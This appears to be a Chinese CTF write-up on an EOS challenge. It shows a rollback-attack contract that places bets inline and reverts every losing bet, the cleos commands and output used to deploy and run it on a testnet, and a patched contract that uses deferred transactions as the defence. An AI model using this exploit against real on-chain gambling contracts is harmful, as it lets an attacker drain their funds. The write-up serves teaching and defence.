回顾一下,上一篇我们对题目进行了简单介绍,并就基于逆向的随机数攻击进行了阐述;这一次,我们将入门最基础的交易回滚攻击,也即 Rollback attack。如果说 fallback 攻击是以太坊中最具代表性的,那 rollback 攻击则应该是 EOS 中的亮点
基础的方面,我还是先建议阅读
有了铺垫,我们开始就题目而言进行介绍
Rollback attack
怎么在不知道准确bet值的时候赢下10场?上一次介绍可以通过破译随机数,但这个方式显然不够优雅,况且 wasm 的逆向确实过于麻烦了,那有没有其他的思路呢?试想一下,如果我们瞎猜,但是每次让失败的次数都“回滚”,那就可以了吧!
如果屏幕前的你之前做过以太坊类型的题目,应该会熟悉“内部交易”即 Internal Transactions),在进行 fallback 攻击时一定会有产生大量的内部交易,而且由于内部交易的数据多数时候无法由区块链浏览器进行跟踪,总是可以隐藏一些行踪。
我们由下图理解以太坊中的内部交易
这个情况下,合约充当一个中介(proxy)的作用,由这个中介继续进行发布的交易均为内部交易;但是对于EOS而言
合约的通信可以进一步划分为内联(inline)以及延迟(deffered),简单的来说,以太坊中的内部交易应该是EOS内联交易的子集,而延迟交易添加了时延的功能并可以主动地撤销;不同的则是,EOS中的内联交易遵守严格的回滚机制,官方的介绍如下:
If any part of the transaction fails, the inline actions will unwind with the rest of the transaction.
这也就意味着内联交易链条上一旦有一环出现了问题,整个交易就会全部回滚,而这正是我们需要的
1.6 cdt 以后可以使用 check 来主动的触发错误回滚交易
编写攻击代码
我们首先阅读一下官方给出的攻击代码
#include <eosio/eosio.hpp>
#include <eosio/system.hpp>
#define TARGET_ACCOUNT "de1ctftest11"
using namespace eosio;
class [[eosio::contract]] attack4 : public contract {
private:
struct [[eosio::table]] user_info {
name username;
uint32_t win;
uint32_t lost;
auto primary_key() const { return username.value; }
};
typedef eosio::multi_index<name("users"), user_info> user_info_table;
user_info_table _users;
public:
using contract::contract;
attack4( name receiver, name code, datastream<const char*> ds ):contract(receiver, code, ds),
_users(eosio::name(TARGET_ACCOUNT), eosio::name(TARGET_ACCOUNT).value) {}
[[eosio::action]]
void judge()
{
auto user_iterator = _users.find(get_self().value);
check(user_iterator != _users.end(), "empty.");
check(user_iterator->lost == 0, "you lost.");
}
[[eosio::action]]
void makebet()
{
int random_num = 3;
action(
permission_level{get_self(),"active"_n}, //所需要的权限结构
name(TARGET_ACCOUNT), // 调用的合约名称
"bet"_n, // 合约的方法
std::make_tuple(get_self(), random_num) // 传递的参数
).send();
action(
permission_level{get_self(),"active"_n}, //所需要的权限结构
get_self(), // 调用的合约名称
"judge"_n, // 合约的方法
std::make_tuple(get_self()) // 传递的参数
).send();
}
};
我们对合约关键的部分做一些解释,如果仍有疑惑可以在讨论区留言
首先我们对合约内定义的数据表做了解
struct [[eosio::table]] user_info {
name username;
uint32_t win;
uint32_t lost;
auto primary_key() const { return username.value; }
};
再通过区块链浏览器看看这个表的作用,合约中命名为 users 表
这里通过尝试的方法可以获取到这个表记录所有参与用户的游戏状态,其中键值即为参与的用户名,而 win 记录胜利场次同时 lost 记录输的场次;
这里笔者在初次应付题目时候有如下疑惑:表的作用容易观察但表内数据结构该如何准确定夺呢?其中名为username的键以合约中专属的 name 类型这是好确定的,但 win 和 lost 的 unsigned int32 类型这可是不太好猜测的吧?读者如果有什么可以查询表内的数据类型的话请示教
这里我们就算后知后觉,阅读wp获取到数据的类型(猜测一般情况下题目给出部分合约内容以保证获取表结构,或者再倒霉也许可以通过逆向方式进行
由于题目要求已经给出,再获取10次胜利前我们不得输掉一场,那么,根据前文提到的内联交易的方式,如果目标合约判断用户输入以及开奖是放到一个交易链中的话,我们可以给出如下的攻击思路
- 攻击合约,以任意一个赌注 (0 — 4) 发起游戏(当然该例子中固定为3不过没有什么影响)
- 在下赌注后,以内联的方式查询目标合约 users 表
- 如果 lost 数目为 0 则说明此次下注(运气不错)赢了
- 如果 lost 数目非 0 则说明此次下注(运气不佳)输了,主动回滚交易,等待下一次攻击
通过这样的方式,我们自然就可以保证不输的情况下完成10次胜利,我们如下进行展示
落实回滚攻击
这里我们默认已经注册好了 JUNGLE TESTNET 的账户,没有账户的读者可以前去官网注册并导入私钥进入本地的 keosd 钱包,我们首先为自己的合约抵押一定的 RAM 保证可以进行合约部署
formal1n@malindeMacBook-Air:~ ➜ cleos -u http://jungle2.cryptolions.io:80 system buyram aaatester142 aaatester142 "10.0000 EOS"
executed transaction: 7c52c650174fc7dc9cab84a23017b8319392e24aa2e1418b04a64a7df6bd5d8a 128 bytes 762 us
# eosio <= eosio::buyram {"payer":"aaatester142","receiver":"aaatester142","quant":"10.0000 EOS"}
# eosio.token <= eosio.token::transfer {"from":"aaatester142","to":"eosio.ram","quantity":"9.9500 EOS","memo":"buy ram"}
# aaatester142 <= eosio.token::transfer {"from":"aaatester142","to":"eosio.ram","quantity":"9.9500 EOS","memo":"buy ram"}
# eosio.ram <= eosio.token::transfer {"from":"aaatester142","to":"eosio.ram","quantity":"9.9500 EOS","memo":"buy ram"}
# eosio.token <= eosio.token::transfer {"from":"aaatester142","to":"eosio.ramfee","quantity":"0.0500 EOS","memo":"ram fee"}
# aaatester142 <= eosio.token::transfer {"from":"aaatester142","to":"eosio.ramfee","quantity":"0.0500 EOS","memo":"ram fee"}
# eosio.ramfee <= eosio.token::transfer {"from":"aaatester142","to":"eosio.ramfee","quantity":"0.0500 EOS","memo":"ram fee"}
# eosio.token <= eosio.token::transfer {"from":"eosio.ramfee","to":"eosio.rex","quantity":"0.0500 EOS","memo":"transfer from eosio.ramfee t...
# eosio.ramfee <= eosio.token::transfer {"from":"eosio.ramfee","to":"eosio.rex","quantity":"0.0500 EOS","memo":"transfer from eosio.ramfee t...
# eosio.rex <= eosio.token::transfer {"from":"eosio.ramfee","to":"eosio.rex","quantity":"0.0500 EOS","memo":"transfer from eosio.ramfee t...
warn 2019-08-27T14:28:42.174 thread-0 main.cpp:495 warning: transaction executed locally, but may not be confirmed by the network yet
注意命令中 -u 是指定代理的全节点来发布命令(当然如果读者自己有全节点的话就不用这么麻烦了,这毕竟慢,而且还需要科学上网
然后我们将wp给出的合约进行部署,当然编译的过程可以使用本地的 cdt 或者借助一些线上工具如币安的编译器 https://beosin.com/#/,假设编译得到的 abi 和合约 wasm 文件存放在 attack4 文件夹,如下
我们通过如下命令部署
formal1n@malindeMacBook-Air:attack4 ➜ cleos -u http://jungle2.cryptolions.io:80 set contract aaatester142 .
Reading WASM from /Users/formal1n/Downloads/blockchain/learn/attack4/attack4.wasm...
Publishing contract...
executed transaction: 9735e39d4a45505b06d1ce0f86e7ec1a0f56c05069eb47009065aaa7edcfdb45 3144 bytes 827 us
# eosio <= eosio::setcode {"account":"aaatester142","vmtype":0,"vmversion":0,"code":"0061736d0100000001420c6000006000017f60027...
# eosio <= eosio::setabi {"account":"aaatester142","abi":"0e656f73696f3a3a6162692f312e310003056a756467650000076d616b656265740...
warn 2019-08-27T14:38:48.505 thread-0 main.cpp:495 warning: transaction executed locally, but may not be confirmed by the network yet
接下来我们尝试一次下注,不过在之前我们还需要给合约设定 eosio.code 权限,关于该权限不理解的可以去自行搜索,这里我们就当套用
formal1n@malindeMacBook-Air:attack4 ➜ cleos -u http://jungle2.cryptolions.io:80 set account permission aaatester142 active '{"threshold" : 1, "keys" : [{"key":"EOS5kk3M6AhBLhhCPHvHPZBCb9i2R7GXg4ZQSL3pD7241NZrn3Efc","weight":1}], "accounts" : [{"permission":{"actor":"aaatester142","permission":"eosio.code"},"weight":1}]}' owner -p aaatester142@owner
executed transaction: b48cb2c71a20636b5201e12de4e7234fccbe533fb1fd5208d0caf9d651050ed9 184 bytes 217 us
# eosio <= eosio::updateauth {"account":"aaatester142","permission":"active","parent":"owner","auth":{"threshold":1,"keys":[{"key...
warn 2019-08-27T14:40:34.612 thread-0 main.cpp:495 warning: transaction executed locally, but may not be confirmed by the network yet
好的,万事俱备,我们先试试一次下注
formal1n@malindeMacBook-Air:attack4 ➜ cleos -u http://jungle2.cryptolions.io:80 push action aaatester142 makebet '{}' -p aaatester142@active
Error 3050003: eosio_assert_message assertion failure
Error Details:
assertion failure with message: you lost.
pending console output:
看到结果,这一次我们下注是输了,不过交易整个回滚,查看浏览器可以发现并没有输掉的这一次记录,命令台也没有此次交易相关的哈希;
我们多次再尝试,即使我们回滚了交易,但是目标合约内的随机种子是变化的,故我们一定有机会可以下注成功,如尝试第四次时得到
formal1n@malindeMacBook-Air:attack4 ⍉ ➜ cleos -u http://jungle2.cryptolions.io:80 push action aaatester142 makebet '{}' -p aaatester142@active
executed transaction: 0f1558b1d65fe9ddb5646f60fe5f8c7ce82df97a836e8e201c8a0147c72caa81 96 bytes 334 us
# aaatester142 <= aaatester142::makebet ""
# de1ctftest11 <= de1ctftest11::bet {"username":"aaatester142","num":3}
# aaatester142 <= aaatester142::judge "2048b82a63958d31"
warn 2019-08-27T14:44:31.409 thread-0 main.cpp:495 warning: transaction executed locally, but may not be confirmed by the network yet
自然,细心的读者会发问,如果是回滚,那记录种子的数据表不是也会回滚么?但实际上目标合约的逻辑是每一次根据现有的种子值已经时间戳值更新随机数并以该随机数进行比较,于是,成功的攻击才会更改种子值而且不必担心;(若试想种子的更新值不是依靠时间啥的,那固定一个攻击下注值还是蛮危险的)
其他的回滚方法
通过学习,笔者还依葫芦画瓢想到另外一种回滚攻击方法,通过记录 seed 的值和每次下注的值可以发现如下规律
- 表中现存的 seed 值总是与上一次 (下注值 % 5) 的值相同
那么,则可以猜测逻辑应该为:每次下注,目标合约都将取得旧的种子值并根据其和时间戳(或者其他变量)进行种子值更新,更新的种子值 % 5 则为赌注的正确值,在和用户输入比较之后再更新seed表;
这样一来,另一种回滚思路则为下注后内联查询seed表,并通过比较查询得到的新seed值求余是否与此次攻击下注相等来决定是否回滚,代码在这里省略,读者只需要简单地更改上文的 judge 函数即可
安全的开奖方式
既然内联的开奖方式是会遭受到回滚攻击的,那么正确的方式应该何如呢?由于我们无法强制玩家使用非内联方式下注,那么回滚的风险一定存在,但仔细想回滚本身是一种正常的行为,不正常的是黑客通过查询和输赢有关的信息来回滚从而保证只赢不输,那么,我们可以重新设计目标合约让其不会泄露数据库内的相关信息
原合约代码文件可以戳这查询
更改的合约代码如下
#include <eosio/eosio.hpp>
#include <eosio/system.hpp>
#include <eosio/transaction.hpp>
using namespace eosio;
class [[eosio::contract]] easyeospack : public contract {
private:
struct [[eosio::table]] user_info {
name username;
uint32_t win;
uint32_t lost;
auto primary_key() const { return username.value; }
};
struct [[eosio::table]] seed {
uint64_t key = 1;
uint32_t value = 1;
auto primary_key() const { return key; }
};
struct [[eosio::table]] mail {
name username;
std::string address;
auto primary_key() const { return username.value; }
};
typedef eosio::multi_index<name("users"), user_info> users_table;
typedef eosio::multi_index<name("seed"), seed> seed_table;
typedef eosio::multi_index<name("mails"), mail> mails_table;
users_table _users;
seed_table _seed;
mails_table _mails;
public:
using contract::contract;
easyeospack( name receiver, name code, datastream<const char*> ds ):contract(receiver, code, ds),
_users(receiver, receiver.value),
_seed(receiver, receiver.value),
_mails(receiver, receiver.value) {}
ACTION deferred1(int new_seed_value) {
require_auth(get_self());
auto seed_iterator = _seed.begin();
_seed.modify( seed_iterator, _self, [&]( auto& s ) {
s.value = new_seed_value;
});
}
ACTION deferred2(name username, bool has_win) {
require_auth(get_self());
auto user_iterator = _users.find(username.value);
if(has_win) {
_users.modify(user_iterator, username, [&](auto& new_user) {
new_user.win = user_iterator->win + 1;
});
}
else{
_users.modify(user_iterator, username, [&](auto& new_user) {
new_user.lost = 1;
});
}
}
[[eosio::action]]
void bet( name username, int num)
{
// Ensure this action is authorized by the player
require_auth(username);
int range = 5;
auto seed_iterator = _seed.begin();
// Initialize the seed with default value if it is not found
if (seed_iterator == _seed.end()) {
seed_iterator = _seed.emplace( _self, [&]( auto& seed ) { });
}
// Generate new seed value using the existing seed value
int prime = 65537;
auto new_seed_value = (seed_iterator->value + (uint32_t)(eosio::current_time_point().sec_since_epoch())) % prime;
int random_num = new_seed_value % range;
// 延迟交易修改 seed 表的值
eosio::transaction deferred;
deferred.actions.emplace_back(
permission_level{get_self(),"active"_n},
get_self(), "deferred1"_n,
std::make_tuple(random_num)
);
deferred.send(username.value + 0, get_self());
// Create a record in the table if the player doesn't exist
auto user_iterator = _users.find(username.value);
if (user_iterator == _users.end()) {
user_iterator = _users.emplace(username, [&](auto& new_user) {
new_user.username = username;
});
}
check(user_iterator->lost <= 0, "You lose!");
if(num == random_num){
// 延迟交易修改表值
eosio::transaction deferred;
deferred.actions.emplace_back(
permission_level{get_self(),"active"_n},
get_self(), "deferred2"_n,
std::make_tuple(username, true)
);
deferred.send(username.value + 1, get_self());
}
else{
// 延迟交易修改表值
eosio::transaction deferred;
deferred.actions.emplace_back(
permission_level{get_self(),"active"_n},
get_self(), "deferred2"_n,
std::make_tuple(username, false)
);
deferred.send(username.value + 2, get_self());
}
}
[[eosio::action]]
void sendmail(name username, std::string address){
require_auth(username);
// Create a record in the table if the player doesn't exist
auto user_iterator = _users.find(username.value);
if (user_iterator == _users.end()) {
user_iterator = _users.emplace(username, [&](auto& new_user) {
new_user.username = username;
});
}
check(user_iterator->win >= 10, "You need to win at least 10 times.");
print("You win!!! Email: ", address);
auto mail_iterator = _mails.find(username.value);
if (mail_iterator == _mails.end()) {
mail_iterator = _mails.emplace(username, [&](auto& new_mail) {
new_mail.username = username;
new_mail.address = address;
});
}
else{
_mails.modify(mail_iterator, username, [&](auto& new_mail) {
new_mail.address = address;
});
}
}
};
这时候再采用原来的攻击合约会发现已经无法成功攻击 Yep !